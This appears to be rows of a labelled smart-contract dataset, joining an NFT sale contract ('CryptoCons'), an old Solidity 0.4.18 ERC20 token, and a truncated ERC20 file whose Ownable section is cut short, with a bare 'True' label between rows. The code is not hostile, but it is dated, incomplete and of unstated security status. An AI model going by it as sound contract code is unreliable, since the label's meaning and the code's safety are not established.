require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer");
}
/**
* @dev Returns whether `tokenId` exists.
*
* Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}.
*
* Tokens start existing when they are minted (`_mint`),
* and stop existing when they are burned (`_burn`).
*/
function _exists(uint256 tokenId) internal view virtual returns (bool) {
return _owners[tokenId] != address(0);
}
/**
* @dev Returns whether `spender` is allowed to manage `tokenId`.
*
* Requirements:
*
* - `tokenId` must exist.
*/
function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) {
require(_exists(tokenId), "ERC721: operator query for nonexistent token");
address owner = ERC721.ownerOf(tokenId);
return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender));
}
/**
* @dev Safely mints `tokenId` and transfers it to `to`.
*
* Requirements:
*
* - `tokenId` must not exist.
* - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer.
*
* Emits a {Transfer} event.
*/
function _safeMint(address to, uint256 tokenId) internal virtual {
_safeMint(to, tokenId, "");
}
/**
* @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is
* forwarded in {IERC721Receiver-onERC721Received} to contract recipients.
*/
function _safeMint(
address to,
uint256 tokenId,
bytes memory _data
) internal virtual {
_mint(to, tokenId);
require(
_checkOnERC721Received(address(0), to, tokenId, _data),
"ERC721: transfer to non ERC721Receiver implementer"
);
}
/**
* @dev Mints `tokenId` and transfers it to `to`.
*
* WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible
*
* Requirements:
*
* - `tokenId` must not exist.
* - `to` cannot be the zero address.
*
* Emits a {Transfer} event.
*/
function _mint(address to, uint256 tokenId) internal virtual {
require(to != address(0), "ERC721: mint to the zero address");
require(!_exists(tokenId), "ERC721: token already minted");
_beforeTokenTransfer(address(0), to, tokenId);
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(address(0), to, tokenId);
}
/**
* @dev Destroys `tokenId`.
* The approval is cleared when the token is burned.
*
* Requirements:
*
* - `tokenId` must exist.
*
* Emits a {Transfer} event.
*/
function _burn(uint256 tokenId) internal virtual {
address owner = ERC721.ownerOf(tokenId);
_beforeTokenTransfer(owner, address(0), tokenId);
// Clear approvals
_approve(address(0), tokenId);
_balances[owner] -= 1;
delete _owners[tokenId];
emit Transfer(owner, address(0), tokenId);
}
/**
* @dev Transfers `tokenId` from `from` to `to`.
* As opposed to {transferFrom}, this imposes no restrictions on msg.sender.
*
* Requirements:
*
* - `to` cannot be the zero address.
* - `tokenId` token must be owned by `from`.
*
* Emits a {Transfer} event.
*/
function _transfer(
address from,
address to,
uint256 tokenId
) internal virtual {
require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer of token that is not own");
require(to != address(0), "ERC721: transfer to the zero address");
_beforeTokenTransfer(from, to, tokenId);
// Clear approvals from the previous owner
_approve(address(0), tokenId);
_balances[from] -= 1;
_balances[to] += 1;
_owners[tokenId] = to;
emit Transfer(from, to, tokenId);
}
/**
* @dev Approve `to` to operate on `tokenId`
*
* Emits a {Approval} event.
*/
function _approve(address to, uint256 tokenId) internal virtual {
_tokenApprovals[tokenId] = to;
emit Approval(ERC721.ownerOf(tokenId), to, tokenId);
}
/**
* @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address.
* The call is not executed if the target address is not a contract.
*
* @param from address representing the previous owner of the given token ID
* @param to target address that will receive the tokens
* @param tokenId uint256 ID of the token to be transferred
* @param _data bytes optional data to send along with the call
* @return bool whether the call correctly returned the expected magic value
*/
function _checkOnERC721Received(
address from,
address to,
uint256 tokenId,
bytes memory _data
) private returns (bool) {
if (to.isContract()) {
try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) {
return retval == IERC721Receiver.onERC721Received.selector;
} catch (bytes memory reason) {
if (reason.length == 0) {
revert("ERC721: transfer to non ERC721Receiver implementer");
} else {
assembly {
revert(add(32, reason), mload(reason))
}
}
}
} else {
return true;
}
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual {}
}
// File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @title ERC-721 Non-Fungible Token Standard, optional enumeration extension
* @dev See https://eips.ethereum.org/EIPS/eip-721
*/
interface IERC721Enumerable is IERC721 {
/**
* @dev Returns the total amount of tokens stored by the contract.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns a token ID owned by `owner` at a given `index` of its token list.
* Use along with {balanceOf} to enumerate all of ``owner``'s tokens.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) external view returns (uint256 tokenId);
/**
* @dev Returns a token ID at a given `index` of all the tokens stored by the contract.
* Use along with {totalSupply} to enumerate all tokens.
*/
function tokenByIndex(uint256 index) external view returns (uint256);
}
// File: @openzeppelin/contracts/token/ERC721/extensions/ERC721Enumerable.sol
pragma solidity ^0.8.0;
/**
* @dev This implements an optional extension of {ERC721} defined in the EIP that adds
* enumerability of all the token ids in the contract as well as all token ids owned by each
* account.
*/
abstract contract ERC721Enumerable is ERC721, IERC721Enumerable {
// Mapping from owner to list of owned token IDs
mapping(address => mapping(uint256 => uint256)) private _ownedTokens;
// Mapping from token ID to index of the owner tokens list
mapping(uint256 => uint256) private _ownedTokensIndex;
// Array with all token ids, used for enumeration
uint256[] private _allTokens;
// Mapping from token id to position in the allTokens array
mapping(uint256 => uint256) private _allTokensIndex;
/**
* @dev See {IERC165-supportsInterface}.
*/
function supportsInterface(bytes4 interfaceId) public view virtual override(IERC165, ERC721) returns (bool) {
return interfaceId == type(IERC721Enumerable).interfaceId || super.supportsInterface(interfaceId);
}
/**
* @dev See {IERC721Enumerable-tokenOfOwnerByIndex}.
*/
function tokenOfOwnerByIndex(address owner, uint256 index) public view virtual override returns (uint256) {
require(index < ERC721.balanceOf(owner), "ERC721Enumerable: owner index out of bounds");
return _ownedTokens[owner][index];
}
/**
* @dev See {IERC721Enumerable-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _allTokens.length;
}
/**
* @dev See {IERC721Enumerable-tokenByIndex}.
*/
function tokenByIndex(uint256 index) public view virtual override returns (uint256) {
require(index < ERC721Enumerable.totalSupply(), "ERC721Enumerable: global index out of bounds");
return _allTokens[index];
}
/**
* @dev Hook that is called before any token transfer. This includes minting
* and burning.
*
* Calling conditions:
*
* - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be
* transferred to `to`.
* - When `from` is zero, `tokenId` will be minted for `to`.
* - When `to` is zero, ``from``'s `tokenId` will be burned.
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 tokenId
) internal virtual override {
super._beforeTokenTransfer(from, to, tokenId);
if (from == address(0)) {
_addTokenToAllTokensEnumeration(tokenId);
} else if (from != to) {
_removeTokenFromOwnerEnumeration(from, tokenId);
}
if (to == address(0)) {
_removeTokenFromAllTokensEnumeration(tokenId);
} else if (to != from) {
_addTokenToOwnerEnumeration(to, tokenId);
}
}
/**
* @dev Private function to add a token to this extension's ownership-tracking data structures.
* @param to address representing the new owner of the given token ID
* @param tokenId uint256 ID of the token to be added to the tokens list of the given address
*/
function _addTokenToOwnerEnumeration(address to, uint256 tokenId) private {
uint256 length = ERC721.balanceOf(to);
_ownedTokens[to][length] = tokenId;
_ownedTokensIndex[tokenId] = length;
}
/**
* @dev Private function to add a token to this extension's token tracking data structures.
* @param tokenId uint256 ID of the token to be added to the tokens list
*/
function _addTokenToAllTokensEnumeration(uint256 tokenId) private {
_allTokensIndex[tokenId] = _allTokens.length;
_allTokens.push(tokenId);
}
/**
* @dev Private function to remove a token from this extension's ownership-tracking data structures. Note that
* while the token is not assigned a new owner, the `_ownedTokensIndex` mapping is _not_ updated: this allows for
* gas optimizations e.g. when performing a transfer operation (avoiding double writes).
* This has O(1) time complexity, but alters the order of the _ownedTokens array.
* @param from address representing the previous owner of the given token ID
* @param tokenId uint256 ID of the token to be removed from the tokens list of the given address
*/
function _removeTokenFromOwnerEnumeration(address from, uint256 tokenId) private {
// To prevent a gap in from's tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = ERC721.balanceOf(from) - 1;
uint256 tokenIndex = _ownedTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary
if (tokenIndex != lastTokenIndex) {
uint256 lastTokenId = _ownedTokens[from][lastTokenIndex];
_ownedTokens[from][tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_ownedTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
}
// This also deletes the contents at the last position of the array
delete _ownedTokensIndex[tokenId];
delete _ownedTokens[from][lastTokenIndex];
}
/**
* @dev Private function to remove a token from this extension's token tracking data structures.
* This has O(1) time complexity, but alters the order of the _allTokens array.
* @param tokenId uint256 ID of the token to be removed from the tokens list
*/
function _removeTokenFromAllTokensEnumeration(uint256 tokenId) private {
// To prevent a gap in the tokens array, we store the last token in the index of the token to delete, and
// then delete the last slot (swap and pop).
uint256 lastTokenIndex = _allTokens.length - 1;
uint256 tokenIndex = _allTokensIndex[tokenId];
// When the token to delete is the last token, the swap operation is unnecessary. However, since this occurs so
// rarely (when the last minted token is burnt) that we still do the swap here to avoid the gas cost of adding
// an 'if' statement (like in _removeTokenFromOwnerEnumeration)
uint256 lastTokenId = _allTokens[lastTokenIndex];
_allTokens[tokenIndex] = lastTokenId; // Move the last token to the slot of the to-delete token
_allTokensIndex[lastTokenId] = tokenIndex; // Update the moved token's index
// This also deletes the contents at the last position of the array
delete _allTokensIndex[tokenId];
_allTokens.pop();
}
}
// File: @openzeppelin/contracts/access/Ownable.sol
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_setOwner(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_setOwner(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_setOwner(newOwner);
}
function _setOwner(address newOwner) private {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: contracts/CryptoCons.sol
pragma solidity ^0.8.0;
contract CryptoCons is ERC721Enumerable, Ownable {
using Strings for uint256;
string private baseURI = "ipfs://QmdU4fidwAV8cY4eTkioXRPLsrvh243P4uixht1QpWzWbW/";
string public baseExtension = ".json";
string public notRevealedUri;
uint256 public preSaleCost = 0.03 ether;
uint256 public preSaleMaxSupply = 2000;
uint256 public nftPerAddressLimitPresale = 20;
uint256 public maxMintAmountPresale = 20;
uint256 public cost = 0.04 ether;
uint256 public maxSupply = 10000;
uint256 public maxMintAmount = 10;
uint256 public nftPerAddressLimit = 100;
uint256 public preSaleDate = 1652123587;
uint256 public preSaleEndDate = 1652296387;
uint256 public publicSaleDate = 1652382787;
bool public paused = false;
bool public revealed = true;
mapping(address => bool) whitelistedAddresses;
mapping(address => uint256) public addressMintedBalance;
constructor(string memory _name, string memory _symbol, string memory _initNotRevealedUri) ERC721(_name, _symbol) {
setNotRevealedURI(_initNotRevealedUri);
}
//MODIFIERS
modifier notPaused {
require(!paused, "the contract is paused");
_;
}
modifier saleStarted {
require(block.timestamp >= preSaleDate, "Sale has not started yet");
_;
}
modifier minimumMintAmount(uint256 _mintAmount) {
require(_mintAmount > 0, "need to mint at least 1 NFT");
_;
}
// INTERNAL
function _baseURI() internal view virtual override returns (string memory) {
return baseURI;
}
function presaleValidations(uint256 _ownerMintedCount, uint256 _mintAmount, uint256 _supply) internal {
uint256 actualCost;
block.timestamp < preSaleEndDate ? actualCost = preSaleCost : actualCost = cost;
require(isWhitelisted(msg.sender), "user is not whitelisted");
require(_ownerMintedCount + _mintAmount <= nftPerAddressLimitPresale, "max NFT per address exceeded for presale");
require(msg.value >= actualCost * _mintAmount, "insufficient funds");
require(_mintAmount <= maxMintAmountPresale,"max mint amount per transaction exceeded");
require(_supply + _mintAmount <= preSaleMaxSupply,"max NFT presale limit exceeded");
}
function publicsaleValidations(uint256 _ownerMintedCount, uint256 _mintAmount) internal {
require(_ownerMintedCount + _mintAmount <= nftPerAddressLimit,"max NFT per address exceeded");
require(msg.value >= cost * _mintAmount, "insufficient funds");
require(_mintAmount <= maxMintAmount,"max mint amount per transaction exceeded");
}
//MINT
function mint(uint256 _mintAmount) public payable notPaused saleStarted minimumMintAmount(_mintAmount) {
uint256 supply = totalSupply();
uint256 ownerMintedCount = addressMintedBalance[msg.sender];
//Do some validations depending on which step of the sale we are in
block.timestamp < publicSaleDate ? presaleValidations(ownerMintedCount, _mintAmount, supply) : publicsaleValidations(ownerMintedCount, _mintAmount);
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[msg.sender]++;
_safeMint(msg.sender, supply + i);
}
}
function gift(uint256 _mintAmount, address destination) public onlyOwner {
require(_mintAmount > 0, "need to mint at least 1 NFT");
uint256 supply = totalSupply();
require(supply + _mintAmount <= maxSupply, "max NFT limit exceeded");
for (uint256 i = 1; i <= _mintAmount; i++) {
addressMintedBalance[destination]++;
_safeMint(destination, supply + i);
}
}
//PUBLIC VIEWS
function isWhitelisted(address _user) public view returns (bool) {
return whitelistedAddresses[_user];
}
function walletOfOwner(address _owner) public view returns (uint256[] memory) {
uint256 ownerTokenCount = balanceOf(_owner);
uint256[] memory tokenIds = new uint256[](ownerTokenCount);
for (uint256 i; i < ownerTokenCount; i++) {
tokenIds[i] = tokenOfOwnerByIndex(_owner, i);
}
return tokenIds;
}
function tokenURI(uint256 tokenId) public view virtual override returns (string memory) {
require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token");
if (!revealed) {
return notRevealedUri;
} else {
string memory currentBaseURI = _baseURI();
return bytes(currentBaseURI).length > 0 ? string(abi.encodePacked(currentBaseURI,tokenId.toString(), baseExtension)) : "";
}
}
function getCurrentCost() public view returns (uint256) {
if (block.timestamp < preSaleEndDate) {
return preSaleCost;
} else {
return cost;
}
}
//ONLY OWNER VIEWS
function getBaseURI() public view onlyOwner returns (string memory) {
return baseURI;
}
function getContractBalance() public view onlyOwner returns (uint256) {
return address(this).balance;
}
//ONLY OWNER SETTERS
function reveal() public onlyOwner {
revealed = true;
}
function pause(bool _state) public onlyOwner {
paused = _state;
}
function setNftPerAddressLimitPreSale(uint256 _limit) public onlyOwner {
nftPerAddressLimitPresale = _limit;
}
function setNftPerAddressLimit(uint256 _limit) public onlyOwner {
nftPerAddressLimit = _limit;
}
function setPresaleCost(uint256 _newCost) public onlyOwner {
preSaleCost = _newCost;
}
function setCost(uint256 _newCost) public onlyOwner {
cost = _newCost;
}
function setmaxMintAmountPreSale(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmountPresale = _newmaxMintAmount;
}
function setmaxMintAmount(uint256 _newmaxMintAmount) public onlyOwner {
maxMintAmount = _newmaxMintAmount;
}
function setBaseURI(string memory _newBaseURI) public onlyOwner {
baseURI = _newBaseURI;
}
function setBaseExtension(string memory _newBaseExtension) public onlyOwner {
baseExtension = _newBaseExtension;
}
function setNotRevealedURI(string memory _notRevealedURI) public onlyOwner {
notRevealedUri = _notRevealedURI;
}
function setPresaleMaxSupply(uint256 _newPresaleMaxSupply) public onlyOwner {
preSaleMaxSupply = _newPresaleMaxSupply;
}
function setMaxSupply(uint256 _maxSupply) public onlyOwner {
maxSupply = _maxSupply;
}
function setPreSaleDate(uint256 _preSaleDate) public onlyOwner {
preSaleDate = _preSaleDate;
}
function setPreSaleEndDate(uint256 _preSaleEndDate) public onlyOwner {
preSaleEndDate = _preSaleEndDate;
}
function setPublicSaleDate(uint256 _publicSaleDate) public onlyOwner {
publicSaleDate = _publicSaleDate;
}
function whitelistUsers(address[] memory addresses) public onlyOwner {
for (uint256 i = 0; i < addresses.length; i++) {
whitelistedAddresses[addresses[i]] = true;
}
}
function withdraw() public payable onlyOwner {
(bool success, ) = payable(msg.sender).call{value: address(this).balance}("");
require(success);
}
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pragma solidity ^0.4.18;
// ----------------------------------------------------------------------------
// 'bitfwd' TheEasyCompany token contract
//
// Deployed to : 0x944894911F79Ff9b64C8F7af54398E932AD96D70
// Symbol : Ez
// Name : Ez Token
// Total supply: Gazillion
// Decimals : 18
//
// Enjoy.
//
// (c) by Moritz Neto & Daniel Bar with BokkyPooBah / Bok Consulting Pty Ltd Au 2017. The MIT Licence.
// ----------------------------------------------------------------------------
// ----------------------------------------------------------------------------
// Safe maths
// ----------------------------------------------------------------------------
contract SafeMath {
function safeAdd(uint a, uint b) internal pure returns (uint c) {
c = a + b;
require(c >= a);
}
function safeSub(uint a, uint b) internal pure returns (uint c) {
require(b <= a);
c = a - b;
}
function safeMul(uint a, uint b) internal pure returns (uint c) {
c = a * b;
require(a == 0 || c / a == b);
}
function safeDiv(uint a, uint b) internal pure returns (uint c) {
require(b > 0);
c = a / b;
}
}
// ----------------------------------------------------------------------------
// ERC Token Standard #20 Interface
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// ----------------------------------------------------------------------------
contract ERC20Interface {
function totalSupply() public constant returns (uint);
function balanceOf(address tokenOwner) public constant returns (uint balance);
function allowance(address tokenOwner, address spender) public constant returns (uint remaining);
function transfer(address to, uint tokens) public returns (bool success);
function approve(address spender, uint tokens) public returns (bool success);
function transferFrom(address from, address to, uint tokens) public returns (bool success);
event Transfer(address indexed from, address indexed to, uint tokens);
event Approval(address indexed tokenOwner, address indexed spender, uint tokens);
}
// ----------------------------------------------------------------------------
// Contract function to receive approval and execute function in one call
//
// Borrowed from MiniMeToken
// ----------------------------------------------------------------------------
contract ApproveAndCallFallBack {
function receiveApproval(address from, uint256 tokens, address token, bytes data) public;
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() public {
owner = msg.sender;
}
modifier onlyOwner {
require(msg.sender == owner);
_;
}
function transferOwnership(address _newOwner) public onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() public {
require(msg.sender == newOwner);
OwnershipTransferred(owner, newOwner);
owner = newOwner;
newOwner = address(0);
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals and assisted
// token transfers
// ----------------------------------------------------------------------------
contract Ez is ERC20Interface, Owned, SafeMath {
string public symbol;
string public name;
uint8 public decimals;
uint public _totalSupply;
uint public startDate;
uint public bonusEnds;
uint public endDate;
mapping(address => uint) balances;
mapping(address => mapping(address => uint)) allowed;
// ------------------------------------------------------------------------
// Constructor
// ------------------------------------------------------------------------
function Ez() public {
symbol = "Ez";
name = "Ez Token";
decimals = 18;
bonusEnds = now + 1 weeks;
endDate = now + 3 weeks;
}
// ------------------------------------------------------------------------
// Total supply
// ------------------------------------------------------------------------
function totalSupply() public constant returns (uint) {
return _totalSupply - balances[address(0)];
}
// ------------------------------------------------------------------------
// Get the token balance for account `tokenOwner`
// ------------------------------------------------------------------------
function balanceOf(address tokenOwner) public constant returns (uint balance) {
return balances[tokenOwner];
}
// ------------------------------------------------------------------------
// Transfer the balance from token owner's account to `to` account
// - Owner's account must have sufficient balance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transfer(address to, uint tokens) public returns (bool success) {
balances[msg.sender] = safeSub(balances[msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(msg.sender, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account
//
// https://github.com/ethereum/EIPs/blob/master/EIPS/eip-20-token-standard.md
// recommends that there are no checks for the approval double-spend attack
// as this should be implemented in user interfaces
// ------------------------------------------------------------------------
function approve(address spender, uint tokens) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
return true;
}
// ------------------------------------------------------------------------
// Transfer `tokens` from the `from` account to the `to` account
//
// The calling account must already have sufficient tokens approve(...)-d
// for spending from the `from` account and
// - From account must have sufficient balance to transfer
// - Spender must have sufficient allowance to transfer
// - 0 value transfers are allowed
// ------------------------------------------------------------------------
function transferFrom(address from, address to, uint tokens) public returns (bool success) {
balances[from] = safeSub(balances[from], tokens);
allowed[from][msg.sender] = safeSub(allowed[from][msg.sender], tokens);
balances[to] = safeAdd(balances[to], tokens);
Transfer(from, to, tokens);
return true;
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(address tokenOwner, address spender) public constant returns (uint remaining) {
return allowed[tokenOwner][spender];
}
// ------------------------------------------------------------------------
// Token owner can approve for `spender` to transferFrom(...) `tokens`
// from the token owner's account. The `spender` contract function
// `receiveApproval(...)` is then executed
// ------------------------------------------------------------------------
function approveAndCall(address spender, uint tokens, bytes data) public returns (bool success) {
allowed[msg.sender][spender] = tokens;
Approval(msg.sender, spender, tokens);
ApproveAndCallFallBack(spender).receiveApproval(msg.sender, tokens, this, data);
return true;
}
// ------------------------------------------------------------------------
// 1,000 Ez Tokens per 1 ETH
// ------------------------------------------------------------------------
function () public payable {
require(now >= startDate && now <= endDate);
uint tokens;
if (now <= bonusEnds) {
tokens = msg.value * 1200;
} else {
tokens = msg.value * 1000;
}
balances[msg.sender] = safeAdd(balances[msg.sender], tokens);
_totalSupply = safeAdd(_totalSupply, tokens);
Transfer(address(0), msg.sender, tokens);
owner.transfer(msg.value);
}
// ------------------------------------------------------------------------
// Owner can transfer out any accidentally sent ERC20 tokens
// ------------------------------------------------------------------------
function transferAnyERC20Token(address tokenAddress, uint tokens) public onlyOwner returns (bool success) {
return ERC20Interface(tokenAddress).transfer(owner, tokens);
}
} | True | [
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/**
*Submitted for verification at Etherscan.io on 2022-04-13
*/
/**
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File @openzeppelin/contracts/access/[email protected]
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
// File @openzeppelin/contracts/token/ERC20/[email protected]
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File @openzeppelin/contracts/token/ERC20/extensions/[email protected]
/**
* @dev Interface for the optional metadata functions from the ERC20 standard.
*
* _Available since v4.1._
*/
interface IERC20Metadata is IERC20 {
/**
* @dev Returns the name of the token.
*/
function name() external view returns (string memory);
/**
* @dev Returns the symbol of the token.
*/
function symbol() external view returns (string memory);
/**
* @dev Returns the decimals places of the token.
*/
function decimals() external view returns (uint8);
}
// File @openzeppelin/contracts/token/ERC20/[email protected]
/**
* @dev Implementation of the {IERC20} interface.
*
* This implementation is agnostic to the way tokens are created. This means
* that a supply mechanism has to be added in a derived contract using {_mint}.
* For a generic mechanism see {ERC20PresetMinterPauser}.
*
* TIP: For a detailed writeup see our guide
* https://forum.zeppelin.solutions/t/how-to-implement-erc20-supply-mechanisms/226[How
* to implement supply mechanisms].
*
* We have followed general OpenZeppelin guidelines: functions revert instead
* of returning `false` on failure. This behavior is nonetheless conventional
* and does not conflict with the expectations of ERC20 applications.
*
* Additionally, an {Approval} event is emitted on calls to {transferFrom}.
* This allows applications to reconstruct the allowance for all accounts just
* by listening to said events. Other implementations of the EIP may not emit
* these events, as it isn't required by the specification.
*
* Finally, the non-standard {decreaseAllowance} and {increaseAllowance}
* functions have been added to mitigate the well-known issues around setting
* allowances. See {IERC20-approve}.
*/
contract ERC20 is Context, IERC20, IERC20Metadata {
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
/**
* @dev Sets the values for {name} and {symbol}.
*
* The defaut value of {decimals} is 18. To select a different value for
* {decimals} you should overload it.
*
* All two of these values are immutable: they can only be set once during
* construction.
*/
constructor (string memory name_, string memory symbol_) {
_name = name_;
_symbol = symbol_;
}
/**
* @dev Returns the name of the token.
*/
function name() public view virtual override returns (string memory) {
return _name;
}
/**
* @dev Returns the symbol of the token, usually a shorter version of the
* name.
*/
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
/**
* @dev Returns the number of decimals used to get its user representation.
* For example, if `decimals` equals `2`, a balance of `505` tokens should
* be displayed to a user as `5,05` (`505 / 10 ** 2`).
*
* Tokens usually opt for a value of 18, imitating the relationship between
* Ether and Wei. This is the value {ERC20} uses, unless this function is
* overridden;
*
* NOTE: This information is only used for _display_ purposes: it in
* no way affects any of the arithmetic of the contract, including
* {IERC20-balanceOf} and {IERC20-transfer}.
*/
function decimals() public view virtual override returns (uint8) {
return 18;
}
/**
* @dev See {IERC20-totalSupply}.
*/
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
/**
* @dev See {IERC20-balanceOf}.
*/
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
/**
* @dev See {IERC20-transfer}.
*
* Requirements:
*
* - `recipient` cannot be the zero address.
* - the caller must have a balance of at least `amount`.
*/
